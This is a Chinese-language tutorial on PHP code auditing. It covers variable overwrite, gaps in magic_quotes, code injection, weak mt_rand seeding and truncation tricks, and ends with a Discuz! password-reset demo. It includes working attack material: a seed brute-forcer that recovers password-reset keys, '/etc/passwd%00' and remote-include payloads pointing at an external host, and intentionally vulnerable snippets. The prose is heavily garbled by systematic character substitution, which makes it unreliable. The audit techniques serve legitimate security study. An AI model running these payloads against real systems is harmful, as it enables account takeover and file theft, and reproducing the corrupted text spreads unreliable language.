1. 前言

PHP是一种被普遍使用的脚本语言,尤为适合于web开发。具备跨平台,容易学习,功能强大等特色,据统计全世界有超过34%的网站有php的应 用,包括Yahoo、sina、16三、sohu等大型门户网站。并且不少具名的web应用系统(包括bbs,blog,wiki,cms等等)都是使用 php开发的,Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。随着web安全的热点升级,php应用程序的 代码安全问题也逐步兴盛起来,愈来愈多的安全人员投入到这个领域,愈来愈多的应用程序代码漏洞被披露。

针对这样一个情况,不少应用程序的官方都成立了安所有门,或者雇佣安全人员进行代码审计,所以出现了不少自动化商业化的代码审计工具。也就是这样的 形势致使了一个局面:大公司的产品安全系数大大的提升,那些很明显的漏洞基本灭绝了,那些你们都知道的审计技术都无用武之地了。

咱们面对不少工具以及大牛扫描过n遍的代码,有不少的安全人员有点悲观,而有的官方安全人员也很是的放心本身的代码,可是不要忘记了“没有绝对的安全”,咱们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术经验和你们分享。

2. 传统的代码审计技术

WEB应用程序漏洞查找基本上是围绕两个元素展开:变量与函数。也就是说一漏洞的利用必须把你提交的恶意代码经过变量通过n次变量转换传递,最终传递给目标函数执行,还记得MS那句经典的名言吗?“一切输入都是有害的”。

这句话只强调了变量输入,不少程序员把“输入”理解为只是gpc[$_GET,$_POST,$_COOKIE],可是变量在传递过程产生了n多的变化。致使不少过滤只是个“纸老虎”!咱们换句话来描叙下代码安全:“一切进入函数的变量是有害的”

PHP代码审计技术用的最多也是目前的主力方法:静态分析,主要也是经过查找容易致使安全漏洞的危险函数,经常使用的如grep,findstr等搜索 工具,不少自动化工具也是使用正则来搜索这些函数。下面列举一些经常使用的函数,也就是下文说的字典(暂略)。可是目前基本已有的字典很难找到漏洞,因此咱们 须要扩展咱们的字典,这些字典也是本文主要探讨的。

其余的方法有:经过修改PHP源代码来分析变量流程,或者hook危险的函数来实现对应用程序代码的审核,可是这些也依靠了咱们上面提到的字典。

3. PHP版本与应用代码审计

到目前为止,PHP主要有3个版本:php四、php五、php6,使用比例大体以下:

php4 68% 2000-2007,No security fixes after 2008/08,最终版本是php4.4.9
php5 32% 2004-present,Now at version 5.2.6(PHP 5.3 alpha1 released!)
php6 目前还在测试阶段,变化不少作了大量的修改,取消了不少安全选项如magic_quotes_gpc(这个不是今天讨论的范围)

因为php缺乏自动升级的机制,致使目前PHP版本并存,也致使不少存在漏洞没有被修补。这些有漏洞的函数也是咱们进行WEB应用程序代码审计的重点对象,也是咱们字典重要来源。

4. 其他的因素与应用代码审计

不少代码审计者拿到代码就看,他们忽视了“安全是一个总体”,代码安全不少的其余因素有关系,好比上面咱们谈到的PHP版本的问题,比较重要的还有 操做系统类型(主要是两大阵营win/*nix),WEB服务端软件(主要是iis/apache两大类型)等因素。这是因为不一样的系统不一样的WEB SERVER有着不一样的安全特色或特性,下文有些部分会涉及。

因此咱们在作某个公司WEB应用代码审计时,应该了解他们使用的系统,WEB服务端软件,PHP版本等信息。

5. 扩展我们的字典

下面将详细介绍一些非传统PHP应用代码审计一些漏洞类型和利用技巧。

5.1 变量本身的key

说到变量的提交不少人只是看到了GET/POST/COOKIE等提交的变量的值,可是忘记了有的程序把变量自己的key也当变量提取给函数处理。

<?php
//key.php?aaaa'aaa=1&bb'b=2
//print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key."\n";
}
?>

上面的代码就提取了变量自己的key显示出来,单纯对于上面的代码,若是咱们提交URL:

key.php?<script>alert(1);</script>=1&bbb=2

那么就致使一个xss的漏洞,扩展一下若是这个key提交给include()等函数或者sql查询呢?

漏洞审计策略
PHP版本要求:无 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45

5.2 变量覆盖

不少的漏洞查找者都知道extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数能够致使变量覆盖,可是还有不少其余状况致使变量覆盖的如:
遍历初始化变量:

<?php
//var.php?a=fuck
$a='hi';
foreach($_GET as $key => $value) {
$$key = $value;
}
print $a;
?>

不少的WEB应用都使用上面的方式(注意循环不必定是foreach),如Discuz!4.1的WAP部分的代码:

$chs = '';
if($_POST && $charset != 'utf-8') {
$chs = new Chinese('UTF-8', $charset);
foreach($_POST as $key => $value) {
$$key = $chs->Convert($value);
}
unset($chs);
漏洞审计策略
PHP版本要求:无 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45

parse_str()变量覆盖漏洞

//var.php?var=new
$var = 'init';
parse_str($_SERVER['QUERY_STRING']);
print $var;

该函数同样能够覆盖数组变量,上面的代码是经过$SERVER'QUERYSTRING'来提取变量的,对于指定了变量名的咱们能够经过注射“=”来实现覆盖其余的变量:

//var.php?var=1&a[1]=var1%3d222
$var1 = 'init';
parse_str($a[$_GET['var']]);
print $var1;

上面的代码经过提交$var来实现对$var1的覆盖。

漏洞审计策略(parse_str)
PHP版本要求:无 md5-b615dea1edf6b93dec7a7e623fe8570f
漏洞审计策略(mb_parse_str)
PHP版本要求:php4<4.4.7 php5<5.2.2 md5-993116e42a531d2a9696f09ff87a836d

import_request_variables()变量覆盖漏洞

//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1
echo 'GLOBALS '.(int)ini_get("register_globals")."n";
import_request_variables('GPC');
if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!');
echo 'Hello admin!';
漏洞审计策略(import_request_variables)
PHP版本要求:php4<4.4.1 php5<5.2.2 md5-16ecd2d1e750dd44df8702198bb34005

PHP5 Globals

从严格意义上来讲这个不能够算是PHP的漏洞,只能算是一个特性,测试代码:

<?
// register_globals =ON
//foo.php?GLOBALS[foobar]=HELLO
php echo $foobar;
?>

可是不少的程序没有考虑到这点,请看以下代码:

//为了安全取消全局变量
//var.php?GLOBALS[a]=aaaa&b=111
if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});
print $a;
print $_GET[b];

若是熟悉WEB2.0的攻击的同窗,很容易想到上面的代码咱们能够利用这个特性进行crsf攻击。

漏洞审计策略
PHP版本要求:无 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45

magic_quotes_gpc与代码安全

什么是magicquotesgpc

当打开时,全部的 '(单引号),"(双引号),\(反斜线)和 NULL 字符都会被自动加上一个反斜线进行转义。还有不少函数有相似的做用 如:addslashes()、mysqlescapestring()、mysqlrealescapestring()等,另外还有parsestr()后的变量也受magicquotesgpc的影响。目前大多数的主机都打开了这个选项,而且不少程序员也注意使用上面那些函数去过滤变量,这看上去很安全。不少漏洞查找者或者工具遇到些函数过滤后的变量直接就放弃,可是就在他们放弃的同时也放过不少致命的安全漏洞。

哪些地方没有魔术引号的保护?

1) $_SERVER变量

PHP5的$SERVER变量缺乏magicquotes_gpc的保护,致使近年来X-Forwarded-For的漏洞猛暴,因此不少程序员考虑过滤X-Forwarded-For,可是其余的变量呢?

漏洞审计策略($_SERVER变量)
PHP版本要求:无 md5-4719e19bf61ce5a6f1990d5f2933da5c

2) getenv()获得的变量(使用相似$_SERVER变量)

漏洞审计策略($_SERVER变量)
PHP版本要求:无 md5-14827d95fcdd8129f3cd0db2aef588da

3) $HTTPRAWPOST_DATA与PHP输入、输出流

主要应用与soap/xmlrpc/webpublish功能里,请看以下代码:

if ( !isset( $HTTP_RAW_POST_DATA ) ) {
$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
}
if ( isset($HTTP_RAW_POST_DATA) )
$HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
漏洞审计策略(数据流)
PHP版本要求:无 md5-874b5384b6942c4ee6f84e7a5119faa5

4) 数据库操做容易忘记'的地方如:in()/limit/order by/group by

如Discuz!<5.0的pm.php:

if(is_array($msgtobuddys)) {
$msgto = array_merge($msgtobuddys, array($msgtoid));
......
foreach($msgto as $uid) {
$uids .= $comma.$uid;
$comma = ',';
}
......
$query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m
LEFT JOIN {$tablepre}memberfields mf USING(uid)
WHERE m.uid IN ($uids)");
漏洞审计策略
PHP版本要求:无 md5-9730da3b833abb10b92c9467e93bd99c

变量的编码与解码

一个WEB程序不少功能的实现都须要变量的编码解码,并且就在这一转一解的传递过程当中就悄悄的绕过你的过滤的安全防线。

这个类型的主要函数有:

1) stripslashes() 这个其实就是一个decode-addslashes()

2) 其余字符串转换函数

base64_decode 对使用 MIME base64 编码的数据进行解码
base64_encode 使用 MIME base64 对数据进行编码
rawurldecode 对已编码的 URL 字符串进行解码
rawurlencode 按照[RFC 1738](http://tools.ietf.org/html/rfc1738)对URL进行编码
urldecode 解码已编码的 URL 字符串
urlencode 编码 URL 字符串
... ...

另一个 unserialize/serialize

3) 字符集函数(GKB,UTF7/8...)如iconv()/mbconvertencoding()等

目前不少漏洞挖掘者开始注意这一类型的漏洞了,如典型的urldecode:

$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";

当magicquotesgpc=on时,咱们提交?id=%2527,获得sql语句为:

SELECT * FROM article WHERE articleid='''
漏洞审计策略
PHP版本要求:无 md5-3637ab9cc92ae883c91f6c21e3f6dba4

二次攻击

1)数据库出来的变量没有进行过滤

2)数据库的转义符号:

  1. mysql/oracle转义符号一样是\(咱们提交'经过魔术引号变化为\',当咱们update进入数据库时,经过转义变为')
  2. mssql的转义字符为'(因此咱们提交'经过魔术引号变化为\',mssql会把它当为一个字符串直接处理,因此魔术引号对于mssql的注射没有任何意义)

从这里咱们能够思考获得一个结论:一切进入函数的变量都是有害的,另外利用二次攻击咱们能够实现一个webrootkit,把咱们的恶意构造直接放到数据库里。咱们应当把这样的代码当作一个vul?

漏洞审计策略
PHP版本要求:无 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45

魔术引号带来的新的安全问题

首先咱们看下魔术引号的处理机制:

[\-->\\,'-->\',"-->\",null-->\0]

这给咱们引进了一个很是有用的符号“\”,“\”符号不只仅是转义符号,在WIN系统下也是目录转跳的符号。这个特色可能致使php应用程序里产生很是有意思的漏洞:

1)获得原字符(',\,",null])

$order_sn=substr($_GET['order_sn'], 1);//提交 '
//魔术引号处理 \'
//substr '$sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
" shipping_time, shipping_id, invoice_no, user_id ".
" FROM " . $ecs->table('order_info').
" WHERE order_sn = '$order_sn' LIMIT 1";

2)获得“\”字符

$ordersn=substr($GET['order_sn'], 0,1);//提交 '
//魔术引号处理 \'
//substr \$sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
" shipping_time, shipping_id, invoice_no, user_id ".
" FROM " . $ecs->table('order_info').
" WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'";

提交内容:

?order_sn='&order_tn=%20and%201=1/*

执行的SQL语句为:

SELECT order_id, order_status, shipping_status, pay_status, shipping_time,
shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '\' and
order_tn=' and 1=1/*'
漏洞审计策略
PHP版本要求:无 md5-0ba2f0cfb75760bb29bc9c7344e943d3

变量key与魔术引号

咱们最在这一节的开头就提到了变量key,PHP的魔术引号对它有什么影响呢?

<?php
//key.php?aaaa'aaa=1&bb'b=2
//print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key."\n";
}
?>

1)当magicquotesgpc = On时,在php5.24下测试显示:

aaaa\'aaa
bb\'b

从上面结果能够看出来,在设置了magicquotesgpc = On下,变量key受魔术引号影响。可是在php4和php<5.2.1的版本中,不处理数组第一维变量的key,测试代码以下:

<?php
//key.php?aaaa'aaa[bb']=1
print_R($_GET);
?>

结果显示:

Array ( [aaaa'aaa] => Array ( [bb\'] => 1 ) )

数组第一维变量的key不受魔术引号的影响。

漏洞审计策略
PHP版本要求:php4和php<5.2.1 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45

2)当magicquotesgpc = Off时,在php5.24下测试显示:

aaaa'aaa
bb'b

对于magicquotesgpc = Off时全部的变量都是不安全的,考虑到这个,不少程序都经过addslashes等函数来实现魔术引号对变量的过滤,示例代码以下:

<?php
//keyvul.php?aaa'aa=1'
//magic_quotes_gpc = Off
if (!get_magic_quotes_gpc())
{
$_GET = addslashes_array($_GET);
}function addslashes_array($value)
{
return is_array($value) ? array_map('addslashes_array', $value) : addslashes($value);
}
print_R($_GET);
foreach ($_GET AS $key => $value)
{
print $key;
}
?>

以上的代码看上去很完美,可是他这个代码里addslashes($value)只处理了变量的具体的值,可是没有处理变量自己的key,上面的代码显示结果以下:

Array
(
[aaa'aa] => 1\'
)
aaa'aa
漏洞审计策略
PHP版本要求:无 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45

代码注射

PHP中可能致使代码注射的函数

不少人都知道eval、preg_replace+/e能够执行代码,可是不知道php还有不少的函数能够执行代码如:

assert()
call_user_func()
call_user_func_array()
create_function()
变量函数
...

这里咱们看看最近出现的几个关于create_function()代码执行漏洞的代码:

<?php
//how to exp this code
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
';
usort($databases, create_function('$a, $b', $sort_function));
漏洞审计策略
PHP版本要求:无 md5-0232e542bbb413c6eee26d4a4b697547

变量函数与双引号

对于单引号和双引号的区别,不少程序员深有体会,示例代码:

echo "$a\n";
echo '$a\n';

咱们再看以下代码:

//how to exp this code
if($globals['bbc_email']){$text = preg_replace(
array("/\[email=(.*?)\](.*?)\[\/email\]/ies",
"/\[email\](.*?)\[\/email\]/ies"),
array('check_email("$1", "$2")',
'check_email("$1", "$1")'), $text);

另外不少的应用程序都把变量用""存放在缓存文件或者config或者data文件里,这样很容易被人注射变量函数。

漏洞审计策略
PHP版本要求:无 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45

PHP自身函数漏洞及缺陷

PHP函数的溢出漏洞

你们还记得Stefan Esser大牛的Month of PHP Bugs(MOPB见附录2)项目么,其中比较有名的要算是unserialize(),代码以下:

unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);

在以往的PHP版本里,不少函数都曾经出现过溢出漏洞,因此咱们在审计应用程序漏洞的时候不要忘记了测试目标使用的PHP版本信息。

漏洞审计策略
PHP版本要求:对应fix的版本 md5-79c2cd2b05e4468ae477ea741f08d9fa

PHP函数的其他漏洞

Stefan Esser大牛发现的漏洞:unset()--ZendHashDelKeyOr_Index Vulnerability 好比phpwind早期的serarch.php里的代码:

unset($uids);
......
$query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'");
while($member=$db->fetch_array($query)){
$uids .= $member['uid'].',';
}
$uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 ';
........
$query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");
漏洞审计策略
PHP版本要求:php4<4.3 php5<5.14 md5-ad283522b4fbbd41440392a41edc3d75

session_destroy()删除文件漏洞

测试PHP版本:5.1.2 这个漏洞是几年前朋友saiy发现的,session_destroy()函数的功能是删除session文件,不少web应用程序的logout的功能 都直接调用这个函数删除session,可是这个函数在一些老的版本中缺乏过滤致使能够删除任意文件。测试代码以下:

<?php
//val.php
session_save_path('./');
session_start();
if($_GET['del']) {
session_unset();
session_destroy();
}else{
$_SESSION['hei']=1;
echo(session_id());
print_r($_SESSION);
}
?>

当咱们提交构造cookie:PHPSESSID=/../1.php,至关于unlink('sess_/../1.php')这样就经过注射../转跳目录删除任意文件了。不少著名的程序某些版本都受影响如phpmyadmin,sablog,phpwind3等等。

漏洞审计策略
PHP版本要求:具体不详 md5-5cfddd64912ab1357091e5775f2ee5be

随机函数

1) rand() VS mt_rand()

<?php
//on windows
print mt_getrandmax(); //2147483647
print getrandmax();// 32767
?>

能够看出rand()最大的随机数是32767,这个很容易被咱们暴力破解。

<?php
$a= md5(rand());
for($i=0;$i<=32767;$i++){
if(md5($i) ==$a ) {
print $i."-->ok!!<br>";exit;
}else { print $i."<br>";}
}
?>

当咱们的程序使用rand处理session时,攻击者很容易暴力破解出你的session,可是对于mt_rand是很难单纯的暴力的。

漏洞审计策略
PHP版本要求:无 md5-ab6d55d013a366bf4c6e8583d6212014

2) mt_srand()/srand()-weak seeding(by Stefan Esser)

看php手册里的描述:

mt_srand (PHP 3 >= 3.0.6, PHP 4, PHP 5)

mt_srand -- 播下一个更好的随机数发生器种子。说明

void mt_srand ( int seed )

用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始,seed 参数变为可选项,当该项为空时,会被设为随时数。

例子1. mt_srand() 范例

<?php
// seed with microseconds
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
mt_srand(make_seed());
$randval = mt_rand();
?>

注: 自 PHP 4.2.0 起,再也不须要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已自动完成。

php从4.2.0开始实现了自动播种,可是为了兼容,后来使用相似于这样的代码播种:

mt_srand ((double) microtime() * 1000000)

可是使用(double)microtime()*1000000相似的代码seed是比较脆弱的:

0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000

那么很容易暴力破解,测试代码以下:

<?php
/
//>php rand.php
//828682
//828682ini_set("max_execution_time",0);
$time=(double) microtime()* 1000000;
print $time."\n";
mt_srand ($time);$search_id = mt_rand();
$seed = search_seed($search_id);
print $seed;
function search_seed($rand_num) {
$max = 1000000;
for($seed=0;$seed<=$max;$seed++){
mt_srand($seed);
$key = mt_rand();
if($key==$rand_num) return $seed;
}
return false;
}
?>

从上面的代码实现了对seed的破解,另外根据Stefan Esser的分析seed还根据进程变化而变化,换句话来讲同一个进程里的seed是相同的。 而后同一个seed每次mt_rand的值都是特定的。以下图:

seed-A
mt_rand-A-1
mt_rand-A-2
mt_rand-A-3seed-B
mt_rand-B-1
mt_rand-B-2
mt_rand-B-3

对于seed-A里mtrand-1/2/3都是不相等的,可是值都是特定的,也就是说当seed-A等于seed-B,那么mtrand-A-1就等于mtrand-B-1…,这样咱们只要可以获得seed就能够获得每次mtrand的值了。

对于5.2.6>php>4.2.0直接使用默认播种的程序也是不安全的(不少的安全人员错误的觉得这样就是安全的),这个要分两种状况来分析:

  • 第一种:'Cross Application Attacks',这个思路在Stefan Esser文章里有提到,主要是利用其余程序定义的播种(如mt_srand ((double) microtime()* 1000000)),phpbb+wordpree组合就存在这样的危险.
  • 第二种:5.2.6>php>4.2.0默认播种的算法也不是很强悍,这是Stefan Esser的文章里的描述:

  • The Implementation

    • When mtrand() is seeded internally or by a call to mtsrand() PHP 4 and PHP 5 <= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only 31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne Twister was changed and the forced bit removed.

在32位系统上默认的播种的种子为最大值是2^32,这样咱们循环最多2^32次就能够破解seed。而在PHP 4和PHP 5 <= 5.2.0 的算法有个bug:奇数和偶数的播种是同样的(详见附录3),测试代码以下:

<?php
mt_srand(4);
$a = mt_rand();
mt_srand(5);
$b = mt_rand();
print $a."\n".$b;
?>

经过上面的代码发现$a==$b,因此咱们循环的次数为232/2=231次。咱们看以下代码:

<?php
//base on http://www.milw0rm.com/exploits/6421
//test on php 5.2.0define('BUGGY', 1); //上面代码$a==$b时候定义BUGGY=1$key = wp_generate_password(20, false);
echo $key."\n";
$seed = getseed($key);
print $seed."\n";mt_srand($seed);
$pass = wp_generate_password(20, false);
echo $pass."\n";function wp_generate_password($length = 12, $special_chars = true) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ( $special_chars )
$chars .= '!@#$%^&*()';$password = '';
for ( $i = 0; $i < $length; $i++ )
$password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
return $password;
}function getseed($resetkey) {
$max = pow(2,(32-BUGGY));
for($x=0;$x<=$max;$x++) {
$seed = BUGGY ? ($x << 1) + 1 : $x;
mt_srand($seed);
$testkey = wp_generate_password(20,false);
if($testkey==$resetkey) { echo "o\n"; return $seed; }if(!($x % 10000)) echo $x / 10000;
}
echo "\n";
return false;
}
?>

运行结果以下:

php5>php rand.php
M8pzpjwCrvVt3oobAaOr
0123456789101112131415161718192021222324252627282930313233343536373839404142434
445464748495051525354555657585960616263646566676869
7071727374757677787980818283848586878889909192939495969798991001011021031041051
061071081091101111121131141151161171181191201211221
2312412512612712812913013113213313413513613713813914014114214314414514614714814
915015115215315415515615715815916016116216316416516
6167168169170171172173174175176177178179180181182183184185186187188189190191192
193194195196197198199200201202203204205206207208209
2102112122132142152162172182192202212222232242252262272282292302312322332342352
362372382392402412422432442452462472482492502512522
..............01062110622106231062410625106261062710628106291063010631106321063
3o
70693
pjwCrvVt3oobAaOr

当10634次时候咱们获得告终果。

当PHP版本到了5.2.1后,经过修改算法修补了奇数和偶数的播种相等的问题,这样也致使了php5.2.0先后致使同一个播种后的mt_rand()的值不同。好比:

<?php
mt_srand(42);
echo mt_rand();
//php<=5.20 1387371436
//php>5.20 1354439493
?>

正是这个缘由,也要求了咱们的exp的运行环境:当目标>5.20时候,咱们exp运行的环境也要是>5.20的版本,反过来也是同样。

从上面的测试及分析来看,php<5.26无论有没有定义播种,mtrand处理的数据都是不安全的。在web应用里不少都使用mtrand来处理随机的session,好比密码找回功能等等,这样的后果就是被攻击者恶意利用直接修改密码。

不少著名的程序都产生了相似的漏洞如wordpress、phpbb、punbb等等。(在后面咱们将实际分析下国内著名的bbs程序Discuz!的mt_srand致使的漏洞)

漏洞审计策略
PHP版本要求:php4 php5<5.2.6 md5-e5f53bc4e451a67ad5c30ecea9547c87

特殊字符

其实“特殊字符”也没有特定的标准定义,主要是在一些code hacking发挥着特殊重做用的一类字符。下面就举几个例子:

截断

其中最有名的数你们都熟悉的null字符截断。

include截断

<?php
include $_GET['action'].".php";
?>

提交"action=/etc/passwd%00"中的"%00"将截断后面的".php",可是除了"%00"还有没有其余的字符能够实现截断 使用呢?确定有人想到了远程包含的url里问号“?”的做用,经过提交"action=http://www.hacksite.com/evil- code.txt?"这里“?”实现了“伪截断”:),好象这个看上去不是那么舒服那么咱们简单写个代码fuzz一下:

<?phpvar5.php代码:
include $_GET['action'].".php";
print strlen(realpath("./"))+strlen($_GET['action']);
///
ini_set('max_execution_time', 0);
$str='';
for($i=0;$i<50000;$i++)
{
$str=$str."/";$resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.$str);
//1.txt里的代码为print 'hi';
if (strpos($resp, 'hi') !== false){
print $i;
exit;
}
}
?>

通过测试字符“.”、“ /”或者2个字符的组合,在必定的长度时将被截断,win系统和*nix的系统长度不同,当win下strlen(realpath(". /"))+strlen($_GET['action'])的长度大于256时被截断,对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候就能够利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最早发现])

数据截断

对于不少web应用文件在不少功能是不允许重复数据的,好比用户注册功能等。通常的应用程序对于提交注册的username和数据库里已有的 username对比是否是已经有重复数据,然而咱们能够经过“数据截断”等来饶过这些判断,数据库在处理时候产生截断致使插入重复数据。

1) Mysql SQL Column Truncation Vulnerabilities

这个漏洞又是大牛Stefan Esser发现的(Stefan Esser是个人偶像:)),这个是因为mysql的sqlmode设置为default的时候,即没有开启STRICTALL_TABLES选项时,MySQL对于插入超长的值只会提示warning,而不是error(若是是error就插入不成功),这样可能会致使一些截断问题。测试以下:

mysql> insert into truncated_test(`username`,`password`) values("admin","pass");mysql> insert into truncated_test(`username`,`password`) values("admin x", "new_pass");
Query OK, 1 row affected, 1 warning (0.01 sec)mysql> select * from truncated_test;
+----+------------+----------+
| id | username | password |
+----+------------+----------+
| 1 | admin | pass |
| 2 | admin | new_pass |
+----+------------+----------+
2 rows in set (0.00 sec)

2) Mysql charset Truncation vulnerability

这个漏洞是80sec发现的,当mysql进行数据存储处理utf8等数据时对某些字符致使数据截断。测试以下:

mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2");
Query OK, 1 row affected, 1 warning (0.00 sec)mysql> select * from truncated_test;
+----+------------+----------+
| id | username | password |
+----+------------+----------+
| 1 | admin | pass |
| 2 | admin | new_pass |
| 3 | admin | new_pass2 |
+----+------------+----------+
2 rows in set (0.00 sec)

不少的web应用程序没有考虑到这些问题,只是在数据存储前简单查询数据是否包含相同数据,以下代码:

$result = mysql_query("SELECT * from test_user where user='$user' ");
....
if(@mysql_fetch_array($result, MYSQL_NUM)) {
die("already exist");
}
漏洞审计策略
PHP版本要求:无 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45

文件操做里的特殊字符

文件操做里有不少特殊的字符,发挥特别的做用,不少web应用程序没有注意处理这些字符而致使安全问题。好比不少人都知道的windows系统文件 名对“空格”和“.”等的忽视,这个主要体如今上传文件或者写文件上,致使直接写webshell。另外对于windows系统对“...\”进行系统转 跳等等。 下面还给你们介绍一个很是有意思的问题:

//Is this code vul?
if( eregi(".php",$url) ){
die("ERR");
}
$fileurl=str_replace($webdb[www_url],"",$url);
.....
header('Content-Disposition: attachment; filename='.$filename);

不少人看出来了上面的代码的问题,程序首先禁止使用“.php”后缀。可是下面竟然接了个strreplace替换$webdbwwwurl为空,那么咱们提交“.p$webdbwww_urlhp”就能够饶过了。那么上面的代码杂fix呢?有人给出了以下代码:

$fileurl=str_replace($webdb[www_url],"",$url);
if( eregi(".php",$url) ){
die("ERR");
}

strreplace提到前面了,很完美的解决了strreplace代码的安全问题,可是问题不是那么简单,上面的代码在某些系统上同样能够突破。接下来咱们先看看下面的代码:

<?php
for($i=0;$i<255;$i++) {
$url = '1.ph'.chr($i);
$tmp = @file_get_contents($url);
if(!empty($tmp)) echo chr($i)."\r\n";
}
?>

咱们在windows系统运行上面的代码获得以下字符* < > ? P p均可以打开目录下的1.php。

漏洞审计策略
PHP版本要求:无 md5-eab7bef0c1900e1e0fd6d8c2ef28d4ef

怎么进一步寻找新的字典

上面咱们列举不少的字典,可是不少都是已经公开过的漏洞或者方式,那么咱们怎么进一步找到新的字典或者利用方式呢?

  • 分析和学习别人发现的漏洞或者exp,总结出漏洞类型及字典。
  • 经过学习php手册或者官方文档,挖掘出新的有危害的函数或者利用方式。
  • fuzz php的函数,找到新的有问题的函数(不必定非要溢出的),如上一章的4.6的部分不少均可以简单的fuzz脚本能够测试出来。
  • 分析php源代码,发现新的漏洞函数“特性”或者漏洞。(在上一节里介绍的那些“漏洞审计策略”里,都没有php源代码的分析,若是你要进一步找 到新的字典,能够在php源代码的基础上分析下成因,而后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。)
  • 有条件或者机会和开发者学习,找到他们实现某些经常使用功能的代码的缺陷或者容易忽视的问题。

DEMO

DEMO -- Discuz! Reset User Password 0day Vulnerability 分析 (Exp:http://sebug.net/vuldb/ssvid-17519)

PHP版本要求:php4 php5<5.2.6
系统要求: 无
审计策略:查找mt_srand/mt_rand

第一步 安装Discuz! 6.1后利用grep查找mt_srand获得:

heige@heige-desktop:~/dz6/upload$ grep -in 'mt_srand' -r ./ --colour -5
./include/global.func.php-694- $GLOBALS['rewritecompatible'] && $name = rawurlencode($name);
./include/global.func.php-695- return '<a href="tag-'.$name.'.html"'.stripslashes($extra).'>';
./include/global.func.php-696-}
./include/global.func.php-697-
./include/global.func.php-698-function random($length, $numeric = 0) {
./include/global.func.php:699: PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);
./include/global.func.php-700- if($numeric) {
./include/global.func.php-701- $hash = sprintf('%0'.$length.'d', mt_rand(0, pow(10, $length) - 1));
./include/global.func.php-702- } else {
./include/global.func.php-703- $hash = '';
./include/global.func.php-704- $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
--
./include/discuzcode.func.php-30-
./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes']) || !is_array($_DCACHE['bbcodes']) || !is_array($_DCACHE['smilies'])) {
./include/discuzcode.func.php-32- @include DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php';
./include/discuzcode.func.php-33-}
./include/discuzcode.func.php-34-
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);
./include/discuzcode.func.php-36-
./include/discuzcode.func.php-37-function attachtag($pid, $aid, &$postlist) {
./include/discuzcode.func.php-38- global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml;
./include/discuzcode.func.php-39- $attach = $postlist[$pid]['attachments'][$aid];
./include/discuzcode.func.php-40- if($attach['attachimg']) {

有两个文件用到了mt_srand(),第1是在./include/global.func.php的随机函数random()里:

PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);

判断了版本,若是是PHP_VERSION > '4.2.0'使用php自己默认的播种。从上一章里的分析咱们能够看得出来,使用php自己默认的播种的分程序两种状况:

1) 'Cross Application Attacks' 这个思路是只要目标上有使用使用的程序里定义了相似mt_srand((double)microtime() * 1000000)的播种的话,又颇有可能被暴力。在dz这里不须要Cross Application,由于他自己有文件就定义了,就是上面的第2个文件:

./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);

这里咱们确定dz是存在这个漏洞的,文章给出来的exp也就是基于这个的。(具体exp利用的流程有兴趣的能够本身分析下])

2) 有的人认为若是没有mt_srand((double)microtime() * 1000000);这里的定义,那么dz就不存在漏洞,这个是不正确的。首先你不能够保证别人使用的其余应用程序没有定义,再次不利用'Cross Application Attacks',5.2.6>php>4.2.0 php自己默认播种的算法也不是很强悍(分析详见上),也是有能够暴力出来,只是速度要慢一点。
附录

PHP的威胁函数与PHP代码审计相关推荐

  1. java 审计 漏洞函数_Java Web代码审计流程与漏洞函数

    常见框架与组合 常见框架 Struts2 SpringMVC Spring Boot 框架执行流程 View层:视图层 Controller层:表现层 Service层:业务层 Dom层:持久层 常见 ...

